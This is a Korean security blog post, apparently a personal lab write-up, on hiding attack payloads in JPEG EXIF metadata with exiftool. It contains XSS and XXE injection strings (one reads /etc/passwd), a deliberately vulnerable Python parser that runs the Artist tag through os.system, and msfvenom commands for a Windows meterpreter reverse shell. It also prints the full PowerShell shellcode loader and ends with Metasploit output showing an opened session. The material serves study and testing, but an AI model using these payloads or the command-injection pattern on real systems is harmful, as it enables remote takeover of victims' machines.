Directory                       : .
File Size                       : 18 kB
File Modification Date/Time     : 2017:06:21 13:18:09+09:00
File Access Date/Time           : 2017:08:16 11:59:55+09:00
File Inode Change Date/Time     : 2017:08:16 11:59:50+09:00
File Permissions                : rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
Image Width                     : 400
Image Height                    : 383
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 400x383
Megapixels                      : 0.153

간단하게 사용법을 보면..

이미지에 대한 정보보기
#> exiftool test.jpg

이미지에 metadata 삽입하기
#> exiftool -artist=me test.jpg

여러 이미지에 metadata 삽입하기
#> exiftool -artist=me test.jpg b.jpg c.jpg

이미지에 여러 metadata 삽입하기
#> exiftool -artist="Phil Harvey" -copyright="2011 Phil Harvey" test.jpg

특정 경로에 있는 이미지에게 모두 metadata 삽입하기
#> exiftool -artist=me c:/images

이렇습니다. 우리가 테스트하는데 필요한 정보는 이정도면 충분할 것 같네요.

더 궁금하신게 있으시다면 아래 링크 참고해주세요.
http://owl.phy.queensu.ca/~phil/exiftool/examples.html

exiftool을 이용한 공격코드 삽입

위에서 익힌 방법을 바로 활용해봅시다. 제가 테스트하던 영역은 XML을 파싱하는 부분이고 일부 가능성이 있어보였습니다. 그 중 metadata를 불러서 파싱할 수 있는 부분을 찾게되었지요.

테스트를 위해 특수문자에 대해 반복하며 이미지를 생성하고 해당 이미지가 파싱된 결과를 보면서 테스트합니다.
exiftool로 이미지에 테스팅 코드를 넣습니다.

#> exiftool exif.jpg -artist="hah\!wul"
    1 image files updated
#> exiftool exif.jpg
ExifTool Version Number         : 10.10
File Name                       : exif.jpg
Directory                       : .
File Size                       : 18 kB
File Modification Date/Time     : 2017:08:16 12:04:09+09:00
File Access Date/Time           : 2017:08:16 12:04:09+09:00
File Inode Change Date/Time     : 2017:08:16 12:04:09+09:00
File Permissions                : rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Artist                          : hah\!wul
Y Cb Cr Positioning             : Centered
Image Width                     : 400
Image Height                    : 383
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 400x383
Megapixels                      : 0.153

이제 exif.jpg 이미지의 artist 영역은 제가 입력한 값으로 들어가게 됩니다. 그래서 쭉 진행하다보니..
HTTP/1.1 200 OK
Date: Wed, 16 Aug 2017 21:07:20 GMT
Server: Apache
[....]
Content-Type: text/xml;charset=UTF-8
Content-Length: 484

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<item>
        [....] 
 <exif><![CDATA[{&quot;Artist&quot;:&quot;hah\\!&lt;&gt;wul&quot;}]]></exif>
</item>
아쉽게도 물론 필터링되버렸네요.. 다만 !가 살아있다는 희망은..

테스트때 이 필터링 때문에 이 부분으로 성공하진 못헀습니다. 다만 exif를 이용하면 테스트가 간단해지는건 사실입니다.

웹에서 metadata에 대해 노출되는 부분이 있다면..
#> exiftool exif.jpg -artist="<svg/onload=alert(45)>"

XML을 파싱하고 특수문자에 대한 제한이 없다면 아래와 같이 XXE Payload를 넣어볼 수도 있겠네요.
#> exiftool exif.jpg -artist='<!ENTITY hwul SYSTEM "file:///etc/passwd">'


metadata 파싱 취약점을 이용한 침투 시나리오

위 내용에서 끝내려니 아쉬움이 남았습니다. 별거 아닌데.. 쓰다보니 길어지고, 그냥 아주 단순한 팁정도라 약간 개인적으로 더 해보고싶단 생각이 들었었죠. 그래서 하나의 시나리오를 구성해봤습니다.

"이미지의 metadata를 파싱하는 시스템에 문제가 있다면 payload, exploit 코드를 exiftool로 넣어 보낼 수 있지 않을까? "

자 간단하게 바로 시작해봅니다.

※ 망한 케이스입니다. 

혹시 비슷한 테스트를 해보시고 싶으시다면 부디 아래에 표기한 부분부터 하시길 바랍니다. (망했어요)

image의 metadata를 파싱하는 취약한 python 코드를 하나 만들어봤습니다.

Vunerable code(Fail..)
import exifread
f = open('exif.jpg', 'rb')

# Return Exif tags
tags = exifread.process_file(f)

for tag in tags.keys():
    if tag not in ('JPEGThumbnail', 'TIFFThumbnail', 'Filename', 'EXIF MakerNote'):
        print "Key: %s, value %s" % (tag, tags[tag])
    if tag == "Artist":
         cmd = tags[tag].__str__()
  os.system(cmd)
코드만 봤을땐.. Artist에 들어온 데이터가 os.system으로 넘어가 명령 실행이 될거라 생각했습니다.
일단 공격에 사용할 payload를 powershell 코드로 만들어주고..

#> hvenom -p windows/meterpreter/reverse_tcp -f psh LHOST=192.168.0.8 LPORT=4444 > code.ps1
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of psh file: 2361 bytes

이 데이터를 읽어 artist 영역에 exiftool로 저장하였습니다.

#> exiftool -artist="powershell -Command `cat code.ps1`" exif.jpg
    1 image files updated
#> exiftool exif.jpg
ExifTool Version Number         : 10.10
File Name                       : exif.jpg
Directory                       : .
File Size                       : 20 kB
File Modification Date/Time     : 2017:08:16 18:03:19+09:00
File Access Date/Time           : 2017:08:16 18:03:19+09:00
File Inode Change Date/Time     : 2017:08:16 18:03:19+09:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Artist                          : powershell -Command $fxhcLZUUZ = @"..[DllImport("kernel32.dll")]..public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);..[DllImport("kernel32.dll")]..public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);.."@....$RKWScSnULxy = Add-Type -memberDefinition $fxhcLZUUZ -Name "Win32" -namespace Win32Functions -passthru....[Byte[]] $RCSWUlBtcdVr = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x68,0xa,0x43,0x11,0x89,0x68,0x2,0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75,0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4,0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0,0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc,0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0,0x53,0xff,0xd5......$IpkAcrvp = $RKWScSnULxy::VirtualAlloc(0,[Math]::Max($RCSWUlBtcdVr.Length,0x1000),0x3000,0x40)....[System.Runtime.InteropServices.Marshal]::Copy($RCSWUlBtcdVr,0,$IpkAcrvp,$RCSWUlBtcdVr.Length)....$RKWScSnULxy::CreateThread(0,0,$IpkAcrvp,0,0,0)
Y Cb Cr Positioning             : Centered
Image Width                     : 400
Image Height                    : 383
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 400x383
Megapixels                      : 0.153

PC내 속성을 통해서 봐도 똑같지요.


데이터가 잘 들어갔습니다. 그럼 쉘이 떨어지는 지 볼까요?

C:\ python 123.py 

아쉽지만 에러가 발생합니다. 허허허헣...

이유인즉슨 powershell 코드 내 특수문자(공백,개행문자, 쿼테이션)가 많아 코드 실행에 문제가 되고 결정적으로.. 취약 코드를 잘못 만들었습니다. (그래서 넘어가라고 한거에요)

실패한 이유
python의 exifread 라이브러리는 metadata의 데이터가 커지면 ...으로 요약 표기하는 기능을 내장하고 있습니다. 그래서 공격코드의 크기, 즉 metadata의 내용이 커지자 아래와 같이 요약해서 표기해버리니.. 당연히 공격코드가 정상적으로 실행되지 않았던거죠.

powershell -Command $f[.....]

※ 여기부터!

자 다시 사건을 재 구성해봅니다. 먼저 잘못된 취약 코드부터 다시 작성하겠습니다.

Vulnerable code(Real)
import os,sys
from PIL import Image
from PIL.ExifTags import TAGS

if __name__ == '__main__':
    for (k,v) in Image.open(sys.argv[1])._getexif().iteritems():
        print '%s = %s' % (TAGS.get(k), v)
        if TAGS.get(k) == "Artist":
            #os.system('pause')  #이미지 캡쳐를 위해 잠깐 정지..
            os.system(v)
    os.system('pause')
Image, TAGS 라이브러리를 이용해 metadata를 파싱하는 코드를 다시 작성했습니다. 위와 유사하게 os.system 으로 데이터를 넘기구요.

그리고 테스트하기 쉽게 batch 파일 형태로 변경하고 특수문자가 걸리지 않도록 쉘 데이터를 배치파일로 생성합니다.

#> hvenom -p windows/meterpreter/reverse_tcp -e cmd/powershell_base64 -f psh-cmd LHOST=192.168.0.8 LPORT=4444 > code.bat
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of cmd/powershell_base64
cmd/powershell_base64 succeeded with size 333 (iteration=0)
cmd/powershell_base64 chosen with final size 333
Payload size: 333 bytes
Final size of psh-cmd file: 6183 bytes

아까처럼 exiftool을 이용해서 artist 영역에 넣어줍니다.

#> exiftool -artist="`cat code.bat`" exif.jpg
    1 image files updated

Artist 에 깔끔히 잘 들어갔어요.

공격에 사용될 이미지가 완성됬네요. 알아서들 metasploit에서 exploit handler 돌려주시고
(HAHWUL use exploit/multi/handler > 세팅하시고 > run)

타겟 PC에서 파싱이 시작되면..

C:\ python 133.py

Pause해둔거 때문에 잘 보이네요. Payload가 정상적으로 나타납니다. 

Metasploit에 Meterpreter session 이 정상적으로 연결됩니다.

HAHWUL exploit(handler) > [*] Sending stage (956991 bytes) to 192.168.0.8
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.8:50038) at 2017-08-16 18:41:44 +0900

HAHWUL exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > 

야호 잘된다.


Reference

https://stackoverflow.com/questions/20886987/reading-long-exif-tags-in-python
http://owl.phy.queensu.ca/~phil/exiftool/examples.html
Share: | Coffee Me: